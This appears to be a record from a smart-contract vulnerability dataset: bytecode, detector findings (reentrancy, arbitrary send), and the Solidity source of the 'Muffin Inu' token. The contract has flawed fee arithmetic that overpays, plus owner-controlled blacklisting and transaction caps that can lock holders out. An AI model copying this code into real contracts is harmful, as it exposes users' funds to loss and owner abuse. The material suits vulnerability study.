16336001600160a01b031614610cc257600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b031614610d0457600080fd5b47610d0e8161174a565b50565b6001600160a01b0381166000908152600260205260408120546106c1906117cf565b6000546001600160a01b03163314610d5d5760405162461bcd60e51b81526004016106f1906120db565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b031614610dc757600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b031614610dee57600080fd5b600a600b5410158015610e0457506028600b5411155b610e765760405162461bcd60e51b815260206004820152603860248201527f7465616d4665652073686f756c6420626520696e203130202d2034302c204d6960448201527f6e696d756d20666f72205a65726f4c6f7374206973203130000000000000000060648201526084016106f1565b600a54610e84906005611853565b600a55565b60006106bd33848461134e565b6000546001600160a01b03163314610ec05760405162461bcd60e51b81526004016106f1906120db565b60005b8151811015610b3e57600160106000848481518110610ee457610ee4612178565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f20816121a4565b915050610ec3565b6014546001600160a01b0316336001600160a01b031614610f4857600080fd5b60008111610f985760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106f1565b610fb7612710610fb1683635c9adc5dea0000084611895565b90611914565b600f5550565b6014546001600160a01b0316336001600160a01b031614610fdd57600080fd5b6000610fe830610d11565b9050610d0e81611956565b6014546001600160a01b0316336001600160a01b03161461101357600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461105557600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110a15760405162461bcd60e51b81526004016106f1906120db565b600081116110f15760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106f1565b61110a6103e8610fb1683635c9adc5dea0000084611895565b60188190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461116f5760405162461bcd60e51b81526004016106f1906120db565b60288111156111c05760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d203430000000000060448201526064016106f1565b600b55565b6014546001600160a01b0316336001600160a01b0316146111e557600080fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b03161461122357600080fd5b6000600955565b6001600160a01b03831661128c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106f1565b6001600160a01b0382166112ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113b25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106f1565b6001600160a01b0382166114145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106f1565b600081116114765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106f1565b6000546001600160a01b038481169116148015906114a257506000546001600160a01b03838116911614155b156116b3576001600160a01b03831630146114c6576018548111156114c657600080fd5b601754600160b81b900460ff16611539576001600160a01b03831660009081526011602052604090205460ff168061151657506001600160a01b03821660009081526011602052604090205460ff165b8061153057503360009081526011602052604090205460ff165b61153957600080fd5b6017546001600160a01b038481169116148061156257506016546001600160a01b038481169116145b1561156e57600954600a555b6017546001600160a01b0384811691161480159061159a57506016546001600160a01b03848116911614155b156115a657600b54600a555b6001600160a01b03831660009081526010602052604090205460ff161580156115e857506001600160a01b03821660009081526010602052604090205460ff16155b801561160457503360009081526010602052604090205460ff16155b61160d57600080fd5b600061161830610d11565b9050600f5481106116285750600f545b600e546017549082101590600160a81b900460ff161580156116535750601754600160b01b900460ff165b801561165c5750805b801561167657506017546001600160a01b03868116911614155b801561169057506016546001600160a01b03868116911614155b156116b05761169e82611956565b4780156116ae576116ae4761174a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806116f557506001600160a01b03831660009081526005602052604090205460ff165b156116fe575060005b61170a84848484611ad0565b50505050565b600081848411156117345760405162461bcd60e51b81526004016106f19190611e7f565b50600061174184866121bf565b95945050505050565b6013546001600160a01b03166108fc611764836002611914565b6040518115909202916000818181858888f1935050505015801561178c573d6000803e3d6000fd5b506015546001600160a01b03166108fc6117a7836002611914565b6040518115909202916000818181858888f19350505050158015610b3e573d6000803e3d6000fd5b60006006548211156118365760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106f1565b6000611840611afe565b905061184c8382611914565b9392505050565b600061184c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611710565b6000826118a4575060006106c1565b60006118b083856121d6565b9050826118bd85836121f5565b1461184c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106f1565b600061184c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b21565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061199e5761199e612178565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1b9190612110565b81600181518110611a2e57611a2e612178565b6001600160a01b039283166020918202929092010152601654611a54913091168461122a565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a8d908590600090869030904290600401612217565b600060405180830381600087803b158015611aa757600080fd5b505af1158015611abb573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b80611add57611add611b4f565b611ae8848484611b7d565b8061170a5761170a600c54600855600d54600a55565b6000806000611b0b611c74565b9092509050611b1a8282611914565b9250505090565b60008183611b425760405162461bcd60e51b81526004016106f19190611e7f565b50600061174184866121f5565b600854158015611b5f5750600a54155b15611b6657565b60088054600c55600a8054600d5560009182905555565b600080600080600080611b8f87611cb6565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611bc19087611853565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bf09086611d13565b6001600160a01b038916600090815260026020526040902055611c1281611d72565b611c1c8483611dbc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c6191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611c908282611914565b821015611cad57505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611cd38a600854600a54611de0565b9250925092506000611ce3611afe565b90506000806000611cf68e878787611e2f565b919e509c509a509598509396509194505050505091939550919395565b600080611d208385612288565b90508381101561184c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106f1565b6000611d7c611afe565b90506000611d8a8383611895565b30600090815260026020526040902054909150611da79082611d13565b30600090815260026020526040902055505050565b600654611dc99083611853565b600655600754611dd99082611d13565b6007555050565b6000808080611df46064610fb18989611895565b90506000611e076064610fb18a89611895565b90506000611e1f82611e198b86611853565b90611853565b9992985090965090945050505050565b6000808080611e3e8886611895565b90506000611e4c8887611895565b90506000611e5a8888611895565b90506000611e6c82611e198686611853565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611eac57858101830151858201604001528201611e90565b81811115611ebe576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610d0e57600080fd5b8035611ef481611ed4565b919050565b60008060408385031215611f0c57600080fd5b8235611f1781611ed4565b946020939093013593505050565b600080600060608486031215611f3a57600080fd5b8335611f4581611ed4565b92506020840135611f5581611ed4565b929592945050506040919091013590565b600060208284031215611f7857600080fd5b813561184c81611ed4565b600060208284031215611f9557600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611fc557600080fd5b823567ffffffffffffffff80821115611fdd57600080fd5b818501915085601f830112611ff157600080fd5b81358181111561200357612003611f9c565b8060051b604051601f19603f8301168101818110858211171561202857612028611f9c565b60405291825284820192508381018501918883111561204657600080fd5b938501935b8285101561206b5761205c85611ee9565b8452938501939285019261204b565b98975050505050505050565b6000806040838503121561208a57600080fd5b823561209581611ed4565b915060208301356120a581611ed4565b809150509250929050565b8015158114610d0e57600080fd5b6000602082840312156120d057600080fd5b813561184c816120b0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561212257600080fd5b815161184c81611ed4565b60008060006060848603121561214257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561216d57600080fd5b815161184c816120b0565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156121b8576121b861218e565b5060010190565b6000828210156121d1576121d161218e565b500390565b60008160001904831182151516156121f0576121f061218e565b500290565b60008261221257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122675784516001600160a01b031683529383019391830191600101612242565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561229b5761229b61218e565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a57f349f667a8a1f4c8dde6d55b671745e3ae475ee34bf16fbf5e565edc871f64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
525
0xBf47b8f03c990041469CC1746B91A2217cD6e49C
// Muffin Inu ($MUFFIN) //Telegram: https://t.me/muffininunew /* # # ### ## ## # # ###### ###### # # # # # # # # # # # # # # # # # ## # # ## # # # # # # # # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ## # # ## # # # # #### # # # # # ### # # #### */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MuffinInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Muffin Inu"; string private constant _symbol = "MUFFIN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(6).mul(10)); _marketingFunds.transfer(amount.div(4).mul(10)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3500000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610306578063c3c8cd8014610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b6565b6103a1565b005b34801561014657600080fd5b5060408051808201909152600a8152694d756666696e20496e7560b01b60208201525b60405161017691906119fa565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461188b565b61044e565b6040519015158152602001610176565b3480156101bb57600080fd5b50670de0b6b3a76400005b604051908152602001610176565b3480156101e057600080fd5b5061019f6101ef36600461184b565b610465565b34801561020057600080fd5b506101386104ce565b34801561021557600080fd5b5060405160098152602001610176565b34801561023157600080fd5b5061013861024036600461197d565b61088f565b34801561025157600080fd5b506101386102603660046117db565b6108d7565b34801561027157600080fd5b50610138610922565b34801561028657600080fd5b506101c66102953660046117db565b61094f565b3480156102a657600080fd5b50610138610971565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102e357600080fd5b5060408051808201909152600681526526aaa32324a760d11b6020820152610169565b34801561031257600080fd5b5061019f61032136600461188b565b6109e5565b34801561033257600080fd5b506101386109f2565b34801561034757600080fd5b506101386103563660046119b5565b610a28565b34801561036757600080fd5b506101c6610376366004611813565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90611a4d565b60405180910390fd5b60005b815181101561044a576001600a600084848151811061040657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044281611b60565b9150506103d7565b5050565b600061045b338484610afa565b5060015b92915050565b6000610472848484610c1e565b6104c484336104bf85604051806060016040528060288152602001611bcb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611030565b610afa565b5060019392505050565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016103cb90611a4d565b600f54600160a01b900460ff16156105525760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058e3082670de0b6b3a7640000610afa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906117f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f91906117f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906117f7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072f8161094f565b6000806107446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e091906119cd565b5050600f8054660c6f3b40b6c00060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085757600080fd5b505af115801561086b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044a9190611999565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016103cb90611a4d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016103cb90611a4d565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094257600080fd5b4761094c8161106a565b50565b6001600160a01b03811660009081526002602052604081205461045f906110ff565b6000546001600160a01b0316331461099b5760405162461bcd60e51b81526004016103cb90611a4d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610c1e565b600c546001600160a01b0316336001600160a01b031614610a1257600080fd5b6000610a1d3061094f565b905061094c81611183565b6000546001600160a01b03163314610a525760405162461bcd60e51b81526004016103cb90611a4d565b60008111610aa25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cb565b610abf6064610ab9670de0b6b3a764000084611328565b906113a7565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610bbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cb565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cb565b60008111610d465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6000546001600160a01b03848116911614801590610d7257506000546001600160a01b03838116911614155b15610fd357600f54600160b81b900460ff1615610e59576001600160a01b0383163014801590610dab57506001600160a01b0382163014155b8015610dc55750600e546001600160a01b03848116911614155b8015610ddf5750600e546001600160a01b03838116911614155b15610e5957600e546001600160a01b0316336001600160a01b03161480610e195750600f546001600160a01b0316336001600160a01b0316145b610e595760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cb565b601054811115610e6857600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eaa57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb357600080fd5b600f546001600160a01b038481169116148015610ede5750600e546001600160a01b03838116911614155b8015610f0357506001600160a01b03821660009081526005602052604090205460ff16155b8015610f185750600f54600160b81b900460ff165b15610f66576001600160a01b0382166000908152600b60205260409020544211610f4157600080fd5b610f4c42600f611af2565b6001600160a01b0383166000908152600b60205260409020555b6000610f713061094f565b600f54909150600160a81b900460ff16158015610f9c5750600f546001600160a01b03858116911614155b8015610fb15750600f54600160b01b900460ff165b15610fd157610fbf81611183565b478015610fcf57610fcf4761106a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101557506001600160a01b03831660009081526005602052604090205460ff165b1561101e575060005b61102a848484846113e9565b50505050565b600081848411156110545760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b49565b95945050505050565b600c546001600160a01b03166108fc61108f600a6110898560066113a7565b90611328565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d7600a6110898560046113a7565b6040518115909202916000818181858888f1935050505015801561044a573d6000803e3d6000fd5b60006006548211156111665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b6000611170611415565b905061117c83826113a7565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122d57600080fd5b505afa158015611241573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126591906117f7565b8160018151811061128657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ac9130911684610afa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e5908590600090869030904290600401611a82565b600060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113375750600061045f565b60006113438385611b2a565b9050826113508583611b0a565b1461117c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600061117c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611438565b806113f6576113f